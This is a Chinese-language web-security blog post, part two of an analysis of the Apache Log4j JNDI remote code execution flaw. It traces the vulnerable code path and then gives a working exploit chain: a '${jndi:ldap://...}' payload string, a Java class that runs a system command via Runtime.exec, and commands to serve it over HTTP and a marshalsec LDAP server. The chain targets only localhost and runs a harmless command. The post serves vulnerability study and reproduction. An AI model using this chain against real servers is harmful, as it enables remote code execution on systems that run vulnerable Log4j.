【WEB安全】Apache Log4j 漏洞利用分析(下)

简介: Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j2 依赖的组件都是数不清,更别提项目本身可能存在的风险了,复现漏洞来学习一下,希望可以帮助到大家。

由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java中的public void error()方法:

image.png

因为在logIfEnabled方法中,对当前日志等级进行了一次判断:

image.png

如果符合,那么会进行logMessage操作

后续不关键调用路径如下:

logMessage ----> 
logMessageSafely ----> 
logMessageTrackRecursion ----> 
tryLogMessage ----> 
log

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

image.png

Loggger.log ---->  
DefaultReliabilityStrategy.log ----> 
loggerConfig.log ----> 
processLogEvent ----> 
callAppenders----> 
AppenderControl.callAppenders  ----> 
tryCallAppender ----> 
AbstractOutputStreamAppender.append ----> 
tryAppend ----> 
directEncodeEvent ----> 
PatternLayout.encode ----> 
toText ---->
toSerializable ---->
format

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

image.png

继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;

image.png

如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher是${undefined

suffixMatcher是}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

image.png

进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中

image.png

resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

image.png

Interpolator.lookup方法中,首先会获取字符串的前缀值:

image.png

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:

image.png

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

四、 漏洞利用

1、 编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。

Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{    
  public Exploit() throws IOException,InterruptedException{        
  String cmd="touch /tmp/xxx";        
  final Process process = Runtime.getRuntime().exec(cmd);        
  printMessage(process.getInputStream());;        
  printMessage(process.getErrorStream());        
  int value=process.waitFor();        
  System.out.println(value);    
}    
private static void printMessage(final InputStream input) {        
// TODO Auto-generated method stub        
new Thread (new Runnable() {            
@Override            
  public void run() {                
  // TODO Auto-generated method stub                
  Reader reader =new InputStreamReader(input);                
  BufferedReader bf = new BufferedReader(reader);                
  String line = null;                
  try {                    
  while ((line=bf.readLine())!=null)                    {                        
  System.out.println(line);                    }                
  }catch (IOException  e){  
                    e.printStackTrace(); 
                                   }            }        
}).start();    }}

编译代码后,

javac Exploit.java

开启HTTP服务

python -m http.server

image.png

2、 开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar 
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1

image.png

image.png


希望可以对大家有所帮助哦!!!


图片是我的公众号重新截图,所以有些模糊,大家见谅哦~

相关文章
|
6月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
1074 79
web渗透-文件包含漏洞
|
6月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
1637 1
Web渗透-文件上传漏洞-上篇
|
6月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
468 1
|
6月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2143 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
6月前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
363 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
6月前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
597 0
web渗透-CSRF漏洞
|
6月前
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
1499 0
|
6月前
|
安全 数据安全/隐私保护
Web渗透-逻辑漏洞
逻辑漏洞主要因程序逻辑不严谨或复杂导致处理错误,常见于越权访问、密码修改、支付等环节。漏洞统计显示,越权操作和逻辑漏洞占比最高,尤其账号安全风险突出,如任意重置密码、验证码暴力破解等。漏洞分类中,越权访问分为水平越权(同权限用户间数据访问)和垂直越权(跨权限数据访问)。
278 0
Web渗透-逻辑漏洞
|
6月前
|
存储 安全 Java
web渗透-反序列化漏洞
序列化是将对象转为可传输字符串的技术,便于存储与传输。PHP通过serialize/unserialize实现,Java通过Serializable接口和ObjectOutputStream完成。文中还介绍了反序列化漏洞在安全测试中的利用方法及CTF实战案例。
166 0
web渗透-反序列化漏洞
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
1470 1

热门文章

最新文章

推荐镜像

更多